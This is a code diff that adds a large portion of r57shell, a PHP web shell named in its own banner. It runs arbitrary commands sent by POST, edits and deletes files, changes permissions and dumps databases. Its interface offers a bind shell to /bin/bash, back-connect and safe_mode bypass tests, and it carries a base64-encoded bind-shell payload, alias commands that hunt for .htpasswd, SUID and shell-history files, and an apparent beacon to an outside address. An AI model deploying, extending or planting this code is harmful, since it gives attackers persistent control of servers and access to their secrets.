+function U_value($value)
+ {
+ if ($value == '') return 'no value ';
+ if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
+ if ($value === null) return 'NULL';
+ if (@is_object($value)) $value = (array) $value;
+ if (@is_array($value))
+ {
+ @ob_start();
+ print_r($value);
+ $value = @ob_get_contents();
+ @ob_end_clean();
+ }
+ return U_wordwrap((string) $value);
+ }
+function U_wordwrap($str)
+ {
+ $str = @wordwrap(@htmlspecialchars($str), 100, ' ', true);
+ return @preg_replace('!(&[^;]*) ([^;]*;)!', '$1$2 ', $str);
+ }
+if (@function_exists('ini_get_all'))
+ {
+ $r = '';
+ echo '', 'Directive
Local Value
Master Value
';
+ foreach (@ini_get_all() as $key=>$value)
+ {
+ $r .= ''.ws(3).''.$key.' '.U_value($value['local_value']).'
'.U_value($value['global_value']).'
';
+ }
+ echo $r;
+ echo '
';
+ }
+echo " ";
+die();
+}
+if(isset($_GET['cpu']))
+ {
+ echo $head;
+ echo '';
+ $cpuf = @file("cpuinfo");
+ if($cpuf)
+ {
+ $c = @sizeof($cpuf);
+ for($i=0;$i<$c;$i++)
+ {
+ $info = @explode(":",$cpuf[$i]);
+ if($info[1]==""){ $info[1]="---"; }
+ $r .= ''.ws(3).''.trim($info[0]).' '.trim($info[1]).'
';
+ }
+ echo $r;
+ }
+ else
+ {
+ echo ''.ws(3).' ---
';
+ }
+ echo '
';
+ echo " ";
+ die();
+ }
+if(isset($_GET['mem']))
+ {
+ echo $head;
+ echo '';
+ $memf = @file("meminfo");
+ if($memf)
+ {
+ $c = sizeof($memf);
+ for($i=0;$i<$c;$i++)
+ {
+ $info = explode(":",$memf[$i]);
+ if($info[1]==""){ $info[1]="---"; }
+ $r .= ''.ws(3).''.trim($info[0]).' '.trim($info[1]).'
';
+ }
+ echo $r;
+ }
+ else
+ {
+ echo ''.ws(3).' ---
';
+ }
+ echo '
';
+ echo " ";
+ die();
+ }
+/*
+Выбор Ñзыка
+$language='eng' - руÑÑкий
+$language='ru' - английÑкий
+*/
+$language='eng';
+$lang=array(
+'ru_text1' =>'Ð’Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð½Ð°Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ð°',
+'ru_text2' =>'Выполнение команд на Ñервере',
+'ru_text3' =>'Выполнить команду',
+'ru_text4' =>'Ð Ð°Ð±Ð¾Ñ‡Ð°Ñ Ð´Ð¸Ñ€ÐµÐºÑ‚Ð¾Ñ€Ð¸Ñ',
+'ru_text5' =>'Загрузка файлов на Ñервер',
+'ru_text6' =>'Локальный файл',
+'ru_text7' =>'ÐлиаÑÑ‹',
+'ru_text8' =>'Выберите алиаÑ',
+'ru_butt1' =>'Выполнить',
+'ru_butt2' =>'Загрузить',
+'ru_text9' =>'Открытие порта и привÑзка его к /bin/bash',
+'ru_text10'=>'Открыть порт',
+'ru_text11'=>'Пароль Ð´Ð»Ñ Ð´Ð¾Ñтупа',
+'ru_butt3' =>'Открыть',
+'ru_text12'=>'back-connect',
+'ru_text13'=>'IP-адреÑ',
+'ru_text14'=>'Порт',
+'ru_butt4' =>'Выполнить',
+'ru_text15'=>'Загрузка файлов Ñ ÑƒÐ´Ð°Ð»ÐµÐ½Ð½Ð¾Ð³Ð¾ Ñервера',
+'ru_text16'=>'ИÑпользовать',
+'ru_text17'=>'Удаленный файл',
+'ru_text18'=>'Локальный файл',
+'ru_text19'=>'Exploits',
+'ru_text20'=>'ИÑпользовать',
+'ru_text21'=>'Ðовое имÑ',
+'ru_text22'=>'datapipe',
+'ru_text23'=>'Локальный порт',
+'ru_text24'=>'Удаленный хоÑÑ‚',
+'ru_text25'=>'Удаленный порт',
+'ru_text26'=>'ИÑпользовать',
+'ru_butt5' =>'ЗапуÑтить',
+'ru_text28'=>'Работа в safe_mode',
+'ru_text29'=>'ДоÑтуп запрещен',
+'ru_butt6' =>'Сменить',
+'ru_text30'=>'ПроÑмотр файла',
+'ru_butt7' =>'ВывеÑти',
+'ru_text31'=>'Файл не найден',
+'ru_text32'=>'Выполнение PHP кода',
+'ru_text33'=>'Проверка возможноÑти обхода ограничений open_basedir через функции cURL',
+'ru_butt8' =>'Проверить',
+'ru_text34'=>'Проверка возможноÑти обхода ограничений safe_mode через функцию include',
+'ru_text35'=>'Проверка возможноÑти обхода ограничений safe_mode через загрузку файла в mysql',
+'ru_text36'=>'База',
+'ru_text37'=>'Логин',
+'ru_text38'=>'Пароль',
+'ru_text39'=>'Таблица',
+'ru_text40'=>'Дамп таблицы базы данных',
+'ru_butt9' =>'Дамп',
+'ru_text41'=>'Сохранить в файле',
+'ru_text42'=>'Редактирование файла',
+'ru_text43'=>'Редактировать файл',
+'ru_butt10'=>'Сохранить',
+'ru_butt11'=>'Редактировать',
+'ru_text44'=>'Редактирование файла невозможно! ДоÑтуп только Ð´Ð»Ñ Ñ‡Ñ‚ÐµÐ½Ð¸Ñ!',
+'ru_text45'=>'Файл Ñохранен',
+'ru_text46'=>'ПроÑмотр phpinfo()',
+'ru_text47'=>'ПроÑмотр наÑтроек php.ini',
+'ru_text48'=>'Удаление временных файлов',
+'ru_text49'=>'Удаление Ñкрипта Ñ Ñервера',
+'ru_text50'=>'Ð˜Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾ процеÑÑоре',
+'ru_text51'=>'Ð˜Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾ памÑти',
+'ru_text52'=>'ТекÑÑ‚ Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка',
+'ru_text53'=>'ИÑкать в папке',
+'ru_text54'=>'ПоиÑк текÑта в файлах',
+'ru_butt12'=>'Ðайти',
+'ru_text55'=>'Только в файлах',
+'ru_text56'=>'Ðичего не найдено',
+'ru_text57'=>'Создать/Удалить Файл/Директорию',
+'ru_text58'=>'ИмÑ',
+'ru_text59'=>'Файл',
+'ru_text60'=>'Директорию',
+'ru_butt13'=>'Создать/Удалить',
+'ru_text61'=>'Файл Ñоздан',
+'ru_text62'=>'Ð”Ð¸Ñ€ÐµÐºÑ‚Ð¾Ñ€Ð¸Ñ Ñоздана',
+'ru_text63'=>'Файл удален',
+'ru_text64'=>'Ð”Ð¸Ñ€ÐµÐºÑ‚Ð¾Ñ€Ð¸Ñ ÑƒÐ´Ð°Ð»ÐµÐ½Ð°',
+'ru_text65'=>'Создать',
+'ru_text66'=>'Удалить',
+'ru_text67'=>'Chown/Chgrp/Chmod',
+'ru_text68'=>'Команда',
+'ru_text69'=>'Параметр1',
+'ru_text70'=>'Параметр2',
+'ru_text71'=>"Второй параметр команды:\r\n- Ð´Ð»Ñ CHOWN - Ð¸Ð¼Ñ Ð½Ð¾Ð²Ð¾Ð³Ð¾ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð¸Ð»Ð¸ его UID (чиÑлом) \r\n- Ð´Ð»Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ñ‹ CHGRP - Ð¸Ð¼Ñ Ð³Ñ€ÑƒÐ¿Ð¿Ñ‹ или GID (чиÑлом) \r\n- Ð´Ð»Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ñ‹ CHMOD - целое чиÑло в воÑьмеричном предÑтавлении (например 0777)",
+'ru_text72'=>'ТекÑÑ‚ Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка',
+'ru_text73'=>'ИÑкать в папке',
+'ru_text74'=>'ИÑкать в файлах',
+'ru_text75'=>'* можно иÑпользовать регулÑрное выражение',
+'ru_text76'=>'ПоиÑк текÑта в файлах Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ утилиты find',
+'ru_text77'=>'ПроÑмотр Ñтруктуры базы данных',
+'ru_text78'=>'Показывать таблицы',
+'ru_text79'=>'Показывать Ñтолбцы',
+'ru_text80'=>'Тип',
+'ru_text81'=>'Сеть',
+'ru_text82'=>'Базы данных',
+'ru_text83'=>'Выполнение SQL запроÑа',
+'ru_text84'=>'SQL запроÑ',
+'ru_text85'=>'Проверка возможноÑти обхода ограничений safe_mode через выполнение команд в MSSQL Ñервере',
+/* --------------------------------------------------------------- */
+'eng_text1' =>'Executed command',
+'eng_text2' =>'Execute command on server',
+'eng_text3' =>'Run command',
+'eng_text4' =>'Work directory',
+'eng_text5' =>'Upload files on server',
+'eng_text6' =>'Local file',
+'eng_text7' =>'Aliases',
+'eng_text8' =>'Select alias',
+'eng_butt1' =>'Execute',
+'eng_butt2' =>'Upload',
+'eng_text9' =>'Bind port to /bin/bash',
+'eng_text10'=>'Port',
+'eng_text11'=>'Password for access',
+'eng_butt3' =>'Bind',
+'eng_text12'=>'back-connect',
+'eng_text13'=>'IP',
+'eng_text14'=>'Port',
+'eng_butt4' =>'Connect',
+'eng_text15'=>'Upload files from remote server',
+'eng_text16'=>'With',
+'eng_text17'=>'Remote file',
+'eng_text18'=>'Local file',
+'eng_text19'=>'Exploits',
+'eng_text20'=>'Use',
+'eng_text21'=>' New name',
+'eng_text22'=>'datapipe',
+'eng_text23'=>'Local port',
+'eng_text24'=>'Remote host',
+'eng_text25'=>'Remote port',
+'eng_text26'=>'Use',
+'eng_butt5' =>'Run',
+'eng_text28'=>'Work in safe_mode',
+'eng_text29'=>'ACCESS DENIED',
+'eng_butt6' =>'Change',
+'eng_text30'=>'Cat file',
+'eng_butt7' =>'Show',
+'eng_text31'=>'File not found',
+'eng_text32'=>'Eval PHP code',
+'eng_text33'=>'Test bypass open_basedir with cURL functions',
+'eng_butt8' =>'Test',
+'eng_text34'=>'Test bypass safe_mode with include function',
+'eng_text35'=>'Test bypass safe_mode with load file in mysql',
+'eng_text36'=>'Database',
+'eng_text37'=>'Login',
+'eng_text38'=>'Password',
+'eng_text39'=>'Table',
+'eng_text40'=>'Dump database table',
+'eng_butt9' =>'Dump',
+'eng_text41'=>'Save dump in file',
+'eng_text42'=>'Edit files',
+'eng_text43'=>'File for edit',
+'eng_butt10'=>'Save',
+'eng_text44'=>'Can\'t edit file! Only read access!',
+'eng_text45'=>'File saved',
+'eng_text46'=>'Show phpinfo()',
+'eng_text47'=>'Show variables from php.ini',
+'eng_text48'=>'Delete temp files',
+'eng_butt11'=>'Edit file',
+'eng_text49'=>'Delete script from server',
+'eng_text50'=>'View cpu info',
+'eng_text51'=>'View memory info',
+'eng_text52'=>'Find text',
+'eng_text53'=>'In dirs',
+'eng_text54'=>'Find text in files',
+'eng_butt12'=>'Find',
+'eng_text55'=>'Only in files',
+'eng_text56'=>'Nothing :(',
+'eng_text57'=>'Create/Delete File/Dir',
+'eng_text58'=>'name',
+'eng_text59'=>'file',
+'eng_text60'=>'dir',
+'eng_butt13'=>'Create/Delete',
+'eng_text61'=>'File created',
+'eng_text62'=>'Dir created',
+'eng_text63'=>'File deleted',
+'eng_text64'=>'Dir deleted',
+'eng_text65'=>'Create',
+'eng_text66'=>'Delete',
+'eng_text67'=>'Chown/Chgrp/Chmod',
+'eng_text68'=>'Command',
+'eng_text69'=>'param1',
+'eng_text70'=>'param2',
+'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
+'eng_text72'=>'Text for find',
+'eng_text73'=>'Find in folder',
+'eng_text74'=>'Find in files',
+'eng_text75'=>'* you can use regexp',
+'eng_text76'=>'Search text in files via find',
+'eng_text77'=>'Show database structure',
+'eng_text78'=>'show tables',
+'eng_text79'=>'show columns',
+'eng_text80'=>'Type',
+'eng_text81'=>'Net',
+'eng_text82'=>'Databases',
+'eng_text83'=>'Run SQL query',
+'eng_text84'=>'SQL query',
+);
+/*
+ÐлиаÑÑ‹ команд
+ПозволÑÑŽÑ‚ избежать многократного набора одних и тех-же команд. ( Сделано Ð±Ð»Ð°Ð³Ð¾Ð´Ð°Ñ€Ñ Ð¼Ð¾ÐµÐ¹ природной лени )
+Ð’Ñ‹ можете Ñами добавлÑÑ‚ÑŒ или изменÑÑ‚ÑŒ команды.
+*/
+$aliases=array(
+'find suid files'=>'find / -type f -perm -04000 -ls',
+'find suid files in current dir'=>'find . -type f -perm -04000 -ls',
+'find sgid files'=>'find / -type f -perm -02000 -ls',
+'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',
+'find config.inc.php files'=>'find / -type f -name config.inc.php',
+'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',
+'find config* files'=>'find / -type f -name "config*"',
+'find config* files in current dir'=>'find . -type f -name "config*"',
+'find all writable files'=>'find / -type f -perm -2 -ls',
+'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
+'find all writable directories'=>'find / -type d -perm -2 -ls',
+'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
+'find all writable directories and files'=>'find / -perm -2 -ls',
+'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
+'find all service.pwd files'=>'find / -type f -name service.pwd',
+'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
+'find all .htpasswd files'=>'find / -type f -name .htpasswd',
+'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',
+'find all .bash_history files'=>'find / -type f -name .bash_history',
+'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
+'find all .mysql_history files'=>'find / -type f -name .mysql_history',
+'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
+'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',
+'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',
+'list file attributes on a Linux second extended file system'=>'lsattr -va',
+'show opened ports'=>'netstat -an | grep -i listen',
+'----------------------------------------------------------------------------------------------------'=>'ls -la'
+);
+$table_up1 = ":: ";
+$table_up2 = " ::
";
+$table_up3 = "";
+$table_end1 = " ";
+$arrow = " и ";
+$lb = "[ ";
+$rb = "] ";
+$font = "";
+$ts = "";
+$fs = "";
+$fe = " ";
+
+if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
+$dir = @getcwd();
+$windows = 0;
+$unix = 0;
+if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1;
+if(empty($dir))
+ {
+ $os = getenv('OS');
+ if(empty($os)){ $os = php_uname(); }
+ if(empty($os)){ $os ="-"; $unix=1; }
+ else
+ {
+ if(@eregi("^win",$os)) { $windows = 1; }
+ else { $unix = 1; }
+ }
+ }
+if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
+ {
+ echo $head;
+ if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
+ else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
+ $sr->SearchText(0,0);
+ $res = $sr->GetResultFiles();
+ $found = $sr->GetMatchesCount();
+ $titles = $sr->GetTitles();
+ $r = "";
+ if($found > 0)
+ {
+ $r .= "";
+ foreach($res as $file=>$v)
+ {
+ $r .= "";
+ $r .= "".ws(3);
+ $r .= ($windows)? str_replace("/","\\",$file) : $file;
+ $r .= " TD>";
+ $r .= " ";
+ foreach($v as $a=>$b)
+ {
+ $r .= "";
+ $r .= "".$a." ";
+ $r .= "".ws(2).$b." ";
+ $r .= " \n";
+ }
+ }
+ $r .= "
";
+ echo $r;
+ }
+ else
+ {
+ echo "".$lang[$language.'_text56']."
";
+ }
+ echo " ";
+ die();
+ }
+if($windows&&!$safe_mode)
+ {
+ $uname = ex("ver");
+ if(empty($uname)) { $safe_mode = 1; }
+ }
+else if($unix&&!$safe_mode)
+ {
+ $uname = ex("uname");
+ if(empty($uname)) { $safe_mode = 1; }
+ }
+$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
+if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
+function ws($i)
+{
+return @str_repeat(" ",$i);
+}
+function ex($cfe)
+{
+ $res = '';
+ if (!empty($cfe))
+ {
+ if(function_exists('exec'))
+ {
+ @exec($cfe,$res);
+ $res = join("\n",$res);
+ }
+ elseif(function_exists('shell_exec'))
+ {
+ $res = @shell_exec($cfe);
+ }
+ elseif(function_exists('system'))
+ {
+ @ob_start();
+ @system($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(function_exists('passthru'))
+ {
+ @ob_start();
+ @passthru($cfe);
+ $res = @ob_get_contents();
+ @ob_end_clean();
+ }
+ elseif(@is_resource($f = @popen($cfe,"r")))
+ {
+ $res = "";
+ while(!@feof($f)) { $res .= @fread($f,1024); }
+ @pclose($f);
+ }
+ }
+ return $res;
+}
+function we($i)
+{
+if($GLOBALS['language']=="ru"){ $text = 'Ошибка! Ðе могу запиÑать в файл '; }
+else { $text = "[-] ERROR! Can't write in file "; }
+echo "";
+return null;
+}
+function re($i)
+{
+if($GLOBALS['language']=="ru"){ $text = 'Ошибка! Ðе могу прочитать файл '; }
+else { $text = "[-] ERROR! Can't read file "; }
+echo "";
+return null;
+}
+function ce($i)
+{
+if($GLOBALS['language']=="ru"){ $text = "Ðе удалоÑÑŒ Ñоздать "; }
+else { $text = "Can't create "; }
+echo "";
+return null;
+}
+function perms($mode)
+{
+if ($GLOBALS['windows']) return 0;
+if( $mode & 0x1000 ) { $type='p'; }
+else if( $mode & 0x2000 ) { $type='c'; }
+else if( $mode & 0x4000 ) { $type='d'; }
+else if( $mode & 0x6000 ) { $type='b'; }
+else if( $mode & 0x8000 ) { $type='-'; }
+else if( $mode & 0xA000 ) { $type='l'; }
+else if( $mode & 0xC000 ) { $type='s'; }
+else $type='u';
+$owner["read"] = ($mode & 00400) ? 'r' : '-';
+$owner["write"] = ($mode & 00200) ? 'w' : '-';
+$owner["execute"] = ($mode & 00100) ? 'x' : '-';
+$group["read"] = ($mode & 00040) ? 'r' : '-';
+$group["write"] = ($mode & 00020) ? 'w' : '-';
+$group["execute"] = ($mode & 00010) ? 'x' : '-';
+$world["read"] = ($mode & 00004) ? 'r' : '-';
+$world["write"] = ($mode & 00002) ? 'w' : '-';
+$world["execute"] = ($mode & 00001) ? 'x' : '-';
+if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
+if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
+if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
+$s=sprintf("%1s", $type);
+$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
+$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
+$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
+return trim($s);
+}
+function in($type,$name,$size,$value)
+{
+ $ret = " ";
+ return $ret;
+}
+function which($pr)
+{
+$path = ex("which $pr");
+if(!empty($path)) { return $path; } else { return $pr; }
+}
+function cf($fname,$text)
+{
+ $w_file=@fopen($fname,"w") or we($fname);
+ if($w_file)
+ {
+ @fputs($w_file,@base64_decode($text));
+ @fclose($w_file);
+ }
+}
+function sr($l,$t1,$t2)
+ {
+ return "".$t1." ".$t2." ";
+ }
+if (!@function_exists("view_size"))
+{
+function view_size($size)
+{
+ if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
+ elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
+ elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
+ else {$size = $size . " B";}
+ return $size;
+}
+}
+function DirFiles($dir,$types='')
+ {
+ $files = Array();
+ if(($handle = @opendir($dir)))
+ {
+ while (FALSE !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(!is_dir($dir."/".$file))
+ {
+ if($types)
+ {
+ $pos = @strrpos($file,".");
+ $ext = @substr($file,$pos,@strlen($file)-$pos);
+ if(@in_array($ext,@explode(';',$types)))
+ $files[] = $dir."/".$file;
+ }
+ else
+ $files[] = $dir."/".$file;
+ }
+ }
+ }
+ @closedir($handle);
+ }
+ return $files;
+ }
+ function DirFilesWide($dir)
+ {
+ $files = Array();
+ $dirs = Array();
+ if(($handle = @opendir($dir)))
+ {
+ while (false !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(@is_dir($dir."/".$file))
+ {
+ $file = @strtoupper($file);
+ $dirs[$file] = '<DIR>';
+ }
+ else
+ $files[$file] = @filesize($dir."/".$file);
+ }
+ }
+ @closedir($handle);
+ @ksort($dirs);
+ @ksort($files);
+ $files = @array_merge($dirs,$files);
+ }
+ return $files;
+ }
+ function DirFilesR($dir,$types='')
+ {
+ $files = Array();
+ if(($handle = @opendir($dir)))
+ {
+ while (false !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(@is_dir($dir."/".$file))
+ $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
+ else
+ {
+ $pos = @strrpos($file,".");
+ $ext = @substr($file,$pos,@strlen($file)-$pos);
+ if($types)
+ {
+ if(@in_array($ext,explode(';',$types)))
+ $files[] = $dir."/".$file;
+ }
+ else
+ $files[] = $dir."/".$file;
+ }
+ }
+ }
+ @closedir($handle);
+ }
+ return $files;
+ }
+ function DirPrintHTMLHeaders($dir)
+ {
+ $pockets = '';
+ $handle = @opendir($dir) or die("Can't open directory $dir");
+ echo " \n";
+ while (false !== ($file = @readdir($handle)))
+ {
+ if ($file != "." && $file != "..")
+ {
+ if(@is_dir($dir."/".$file))
+ {
+ echo " [ $file ] \n";
+ DirPrintHTMLHeaders($dir."/".$file);
+ }
+ else
+ {
+ $pos = @strrpos($file,".");
+ $ext = @substr($file,$pos,@strlen($file)-$pos);
+ if(@in_array($ext,array('.htm','.html')))
+ {
+ $header = '-=None=-';
+ $strings = @file($dir."/".$file) or die("Can't open file ".$dir."/".$file);
+ for($a=0;$a(.+))';
+ if(@eregi($pattern,$strings[$a],$pockets))
+ {
+ $header = "«".$pockets[2]."»";
+ break;
+ }
+ }
+ echo " ".$header." \n";
+ }
+ }
+ }
+ }
+ echo " \n";
+ @closedir($handle);
+ }
+
+ class SearchResult
+ {
+ var $text;
+ var $FilesToSearch;
+ var $ResultFiles;
+ var $FilesTotal;
+ var $MatchesCount;
+ var $FileMatschesCount;
+ var $TimeStart;
+ var $TimeTotal;
+ var $titles;
+ function SearchResult($dir,$text,$filter='')
+ {
+ $dirs = @explode(";",$dir);
+ $this->FilesToSearch = Array();
+ for($a=0;$aFilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
+ $this->text = $text;
+ $this->FilesTotal = @count($this->FilesToSearch);
+ $this->TimeStart = getmicrotime();
+ $this->MatchesCount = 0;
+ $this->ResultFiles = Array();
+ $this->FileMatchesCount = Array();
+ $this->titles = Array();
+ }
+ function GetFilesTotal() { return $this->FilesTotal; }
+ function GetTitles() { return $this->titles; }
+ function GetTimeTotal() { return $this->TimeTotal; }
+ function GetMatchesCount() { return $this->MatchesCount; }
+ function GetFileMatchesCount() { return $this->FileMatchesCount; }
+ function GetResultFiles() { return $this->ResultFiles; }
+ function SearchText($phrase=0,$case=0) {
+ $qq = @explode(' ',$this->text);
+ $delim = '|';
+ if($phrase)
+ foreach($qq as $k=>$v)
+ $qq[$k] = '\b'.$v.'\b';
+ $words = '('.@implode($delim,$qq).')';
+ $pattern = "/".$words."/";
+ if(!$case)
+ $pattern .= 'i';
+ foreach($this->FilesToSearch as $k=>$filename)
+ {
+ $this->FileMatchesCount[$filename] = 0;
+ $FileStrings = @file($filename) or @next;
+ for($a=0;$a<@count($FileStrings);$a++)
+ {
+ $count = 0;
+ $CurString = $FileStrings[$a];
+ $CurString = @Trim($CurString);
+ $CurString = @strip_tags($CurString);
+ $aa = '';
+ if(($count = @preg_match_all($pattern,$CurString,$aa)))
+ {
+ $CurString = @preg_replace($pattern,"\\1 ",$CurString);
+ $this->ResultFiles[$filename][$a+1] = $CurString;
+ $this->MatchesCount += $count;
+ $this->FileMatchesCount[$filename] += $count;
+ }
+ }
+ }
+ $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
+ }
+ }
+ function getmicrotime()
+ {
+ list($usec,$sec) = @explode(" ",@microtime());
+ return ((float)$usec + (float)$sec);
+ }
+$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
+A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
+GFy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ZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV
+ybmV0LS0+";
+echo $head;
+echo '';
+if(empty($_POST['cmd'])) {
+$serv = array(127,192,172,10);
+$addr=@explode('.', $_SERVER['SERVER_ADDR']);
+$current_version = str_replace('.','',$version);
+if (!in_array($addr[0], $serv)) {
+@print "";
+@readfile ("");}}
+echo '
+'.ws(1).'
+! '.ws(2).'r57shell '.$version.'
+ ';
+echo ws(2);
+echo "".date ("d-m-Y H:i:s")." ";
+echo ws(2).$lb." phpinfo ".$rb;
+echo ws(2).$lb." php.ini ".$rb;
+echo ws(2).$lb." cpu ".$rb;
+echo ws(2).$lb." mem ".$rb;
+echo ws(2).$lb." tmp ".$rb;
+echo ws(2).$lb." delete ".$rb." ";
+echo ws(2);
+echo (($safe_mode)?("safe_mode: ON "):("safe_mode: OFF "));
+echo ws(2);
+echo "PHP version: ".@phpversion()." ";
+$curl_on = @function_exists('curl_version');
+echo ws(2);
+echo "cURL: ".(($curl_on)?("ON "):("OFF "));
+echo ws(2);
+echo "MySQL: ";
+$mysql_on = @function_exists('mysql_connect');
+if($mysql_on){
+echo "ON "; } else { echo "OFF "; }
+echo ws(2);
+echo "MSSQL: ";
+$mssql_on = @function_exists('mssql_connect');
+if($mssql_on){echo "ON ";}else{echo "OFF ";}
+echo ws(2);
+echo "PostgreSQL: ";
+$pg_on = @function_exists('pg_connect');
+if($pg_on){echo "ON ";}else{echo "OFF ";}
+echo ws(2);
+echo "Oracle: ";
+$ora_on = @function_exists('ocilogon');
+if($ora_on){echo "ON ";}else{echo "OFF ";}
+echo " ".ws(2);
+echo "Disable functions : ";
+if(''==($df=@ini_get('disable_functions'))){echo "NONE ";}else{echo "$df ";}
+$free = @diskfreespace($dir);
+if (!$free) {$free = 0;}
+$all = @disk_total_space($dir);
+if (!$all) {$all = 0;}
+$used = $all-$free;
+$used_percent = @round(100/($all/$free),2);
+echo " ".ws(2)."HDD Free : ".view_size($free)." HDD Total : ".view_size($all)." ";
+echo '
+
+';
+echo $font;
+if(!$windows){
+echo 'uname -a :'.ws(1).' sysctl :'.ws(1).' $OSTYPE :'.ws(1).' Server :'.ws(1).' id :'.ws(1).' pwd :'.ws(1).' ';
+echo " ";
+echo "";
+$uname = ex('uname -a');
+echo((!empty($uname))?(ws(3).@substr($uname,0,120)." "):(ws(3).@substr(@php_uname(),0,120)." "));
+if(!$safe_mode){
+$bsd1 = ex('sysctl -n kern.ostype');
+$bsd2 = ex('sysctl -n kern.osrelease');
+$lin1 = ex('sysctl -n kernel.ostype');
+$lin2 = ex('sysctl -n kernel.osrelease');
+}
+if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; }
+else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; }
+else { $sysctl = "-"; }
+echo ws(3).$sysctl." ";
+echo ws(3).ex('echo $OSTYPE')." ";
+echo ws(3).@substr($SERVER_SOFTWARE,0,120)." ";
+$id = ex('id');
+echo((!empty($id))?(ws(3).$id." "):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()." "));
+echo ws(3).$dir;
+echo " ";
+}
+else
+{
+echo 'OS :'.ws(1).' Server :'.ws(1).' User :'.ws(1).' pwd :'.ws(1).' ';
+echo " ";
+echo "";
+echo ws(3).@substr(@php_uname(),0,120)." ";
+echo ws(3).@substr($SERVER_SOFTWARE,0,120)." ";
+echo ws(3).@get_current_user()." ";
+echo ws(3).$dir." ";
+echo " ";
+}
+echo "";
+echo "
";
+if(empty($c1)||empty($c2)) { die(); }
+$f = ' ';
+$f .= base64_decode($c1);
+$f .= base64_decode($c2);
+if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
+{
+$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
+}
+if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
+ {
+ switch($_POST['what'])
+ {
+ case 'own':
+ @chown($_POST['param1'],$_POST['param2']);
+ break;
+ case 'grp':
+ @chgrp($_POST['param1'],$_POST['param2']);
+ break;
+ case 'mod':
+ @chmod($_POST['param1'],intval($_POST['param2'], 8));
+ break;
+ }
+ $_POST['cmd']="";
+ }
+if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
+ {
+ switch($_POST['what'])
+ {
+ case 'file':
+ if($_POST['action'] == "create")
+ {
+ if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; }
+ else {
+ fclose($file);
+ $_POST['e_name'] = $_POST['mk_name'];
+ $_POST['cmd']="edit_file";
+ echo "".$lang[$language.'_text61']."
";
+ }
+ }
+ else if($_POST['action'] == "delete")
+ {
+ if(unlink($_POST['mk_name'])) echo "".$lang[$language.'_text63']."
";
+ $_POST['cmd']="";
+ }
+ break;
